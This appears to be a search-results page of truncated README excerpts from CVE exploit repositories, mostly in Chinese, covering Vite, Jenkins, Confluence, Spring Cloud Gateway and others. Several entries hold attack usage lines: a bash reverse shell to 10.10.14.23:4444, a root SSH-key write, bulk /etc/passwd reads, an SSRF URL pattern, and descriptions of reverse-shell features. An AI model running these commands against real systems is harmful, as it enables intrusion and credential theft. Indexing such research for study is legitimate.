3529 matches found
CVE-2024-50961
敏感数据泄露 CVE-2024-50961 描述 在 DonWeb Ferozo Hosting v1.1 中，远程攻击者可以利用 URL 参数访问敏感数据，包括数据库凭据。攻击向量包括网络嗅探、服务器日志和浏览器历史记录，可能使组织面临重大安全漏洞和数据保护违规。通过 HTTPS 和安全的日志记录实践进行缓解至关重要。 攻击复杂度 低 所需权限 无 （未经身份验证的远程攻击者可以利用此漏洞。） 用户交互 不需要 受影响的组件 URL 参数处理 ：漏洞在于 URL 参数的处理方式，可能导致敏感数据泄露。 影响 数据泄露 ：暴露敏感数据，如数据库凭据。 监管风险...
exploit-CVE-2016-8016-25
McAfee Virus Scan for Linux 多个远程漏洞 此漏洞利用程序及本仓库中的所有代码均已被移除，以避免违反 McAfee 的任何许可协议。 McAfee VirusScan Enterprise for Linux 是 McAfee 的企业级防病毒解决方案。其独特的基于 Linux 的实时访问扫描器会持续监控系统，防范潜在攻击。 漏洞 VSEL 2.0.3（及更早版本）受以下已公布的安全漏洞影响。ENSL 10.2 版本修复了以下漏洞。Intel Security 强烈建议所有客户从 VSEL 升级到 ENSL。 CVE-2016-8016: Intel Securi...
CVE-2025-32778
CVE-2025-32778 - Web-Check命令注入利用工具 描述 CVE-2025-32778 是 Lissy93 开发的 Web-Check OSINT 工具中的一个严重命令注入漏洞。 它允许未经身份验证的攻击者通过截图 API 中的 url 参数执行任意系统命令。 此 Python 脚本自动化利用过程，并能够生成反向 Shell 或接受自定义 Shell 载荷。 警告 仅对您拥有或有权测试的系统进行测试。 未经授权的使用是非法的且不道德。 功能特点 利用 Web-Check 中的 url 命令注入漏洞。 支持： 通过 --lhost 和 --lport 生成反向 Shell...
CVE-2019-8451
CVE-2019-8451 https://jira.atlassian.com/browse/JRASERVER-69793 http://host:port/plugins/servlet/gadgets/makeRequest?url=http://:@'.formathost, port, target https://host:port/plugins/servlet/gadgets/makeRequest?url=https://:@'.formathost, port, target...
CVE-2023-51214
建议描述 在PHP v.1实现Web应用活动日志中的跨站脚本漏洞允许远程攻击者通过精心构造的有效载荷对URL执行任意代码。 漏洞类型 跨站脚本XSS 产品供应商 sourcecodester.com 受影响产品代码库 使用PHP实现Web应用活动日志 - v1 受影响组件 URL 攻击类型 远程 影响代码执行 true 攻击向量 无需详细信息 参考 https://youtu.be/OvJdYy3DoLw 供应商是否已确认或承认该漏洞？ true 发现者 Chandra Pratik Raj Singh...
CVE-2022-22947
在王政代码基础上添加了，两种反弹shell，出网探测， 运行行时缺少什么模块。使用pip下载哪个模块就行了。 输入可疑的url地址，注意端口后面不要跟'/' 1.先检测是否存在漏洞 默认命令执行的是whoami，因为好多命令执行并不会回显，whoami若回显成功则存在漏洞 返回内容有root,确定存在漏洞 2.反弹shell 输入公网ip与端口 若反弹成功，此页面会卡住。 若反弹失败，会直接结束 3.测试出网， 是为了功能4准备的 默认访问百度页面 4.使用java代码反弹shell 若不能反弹shell，可能不支持/dev/tcp...
CVE-2025-30208-Series
CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. 漏洞概述 CVE-2025-30208, CVE-2025-31125和CVE-2025-31486是Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制，通过fs模块读取服务器上的敏感文件。上述三个漏洞可以算作是一个系列的漏洞，因为造成漏洞的原因非常相似。 CVE-2025-30208影响版本如下所示 =6.2.0, =6.1.0, =6.0.0, =5.0.0, =6.2.0, =6.1.0, =6.0.0, =5.0.0,...
CVE-2024-47533
反向 Shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 简单命令 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' 写入 SSH 密钥 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh && echo...
compaXSS
CompaXSS 绕过 XSS 反射型跨站脚本 ======= Example: python compaxss.py --url https://support.snapchat.com/login?next=-run 开发者 Jose Pino - @jofpin Juan Eljach - @juaneljach...
cve-2025-4664
CVE-2025-4664 此仓库包含用于利用 CVE-2025-4664 的 PoC。该漏洞可使基于 Chromium 的浏览器通过 Link 标头预加载请求泄露敏感的 URL 参数。 资源 有关此漏洞利用原理的详细说明，请阅读博客文章：https://amalmurali.me/posts/cve-2025-4664e。 观看以下视频以了解整个流程： 文件 target.py - 存在漏洞的 Web 应用程序 idp.py - SSO 身份提供程序 attacker.py - 记录已泄漏令牌的恶意服务器 templates/ - 演示所用的 HTML 模板 static/ -...
CVE-2021-22941
使用 python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 参考 https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...
CVE-2022-22947
CVE-2022-22947 用法: python3 CVE-2022-22947.py url...
Jenkins-CVE-2024-23897-
使用命令:python 3 CVE-2024-23897 . py-l 2 . txt-f/etc/passwd把全球资源定位器Uniform Resource Locator写入2.txt即可批量...
CVE-2024-36527
CVE-2024-36527 PoC 和批量扫描器 概述 CVE-2024-36527 概念验证代码：puppeteer-renderer v.3.2.0 及更早版本存在目录遍历漏洞。攻击者可利用文件协议操纵 URL 参数，从服务器读取敏感信息。 本工具基于 Zac Wang 发布的安全公告，PoC 由 M Ali 创建。 使用方法 单目标扫描 扫描单个目标端点： python cve-2024-36527.py -u target 批量目标扫描 批量扫描多个目标： python cve-2024-36527.py -f targets.txt 安装 最低要求 Python 3.6...
CVE-2025-55182-exploit
CVE-2025-55182-exploit TL;DR 此工具仅用于合法的渗透测试目的。请勿参与任何非法活动。 使用方法 python3 exploit.py 演示视频...
CVE-2022-26134
CVE-2022-26134 用法: exploit.py url command...
SSRF-Exploit-CVE-2024-27564
SSRF-Exploit-CVE-2024-27564 项目标题 本项目演示了 pictureproxy.php 文件中的一个服务器端请求伪造（SSRF）漏洞。 描述 pictureproxy.php 中的一个漏洞允许远程攻击者通过向 url 参数注入 URL 来执行任意请求。此 SSRF 漏洞可在无需身份验证的情况下被利用，因此尤为危险。 存在漏洞的代码位于 pictureproxy.php 文件中。问题在于该函数未正确验证 url 参数。$GET'url' 变量被传递给 filegetcontents 函数，该函数会从指定 URL 获取内容。这可能导致 SSRF。 概念验证...
CVE-2021-3131
CVE-2021-3131 建议描述 1C:Enterprise 8 中版本低于 8.3.17.1851 的 Web 服务器会在 'creds' URL 参数中发送 base64 编码的凭据。 漏洞类型 其他 CWE-522 凭据保护不足 产品供应商 1C 公司 受影响产品代码库 1C:Enterprise 8 - 测试版本: 8.3.17.1851 受影响组件 Web 服务器 影响信息泄露 true 供应商是否确认或承认此漏洞？ true 发现者 Irina Belyaeva Jet Infosystems, jet.su 参考...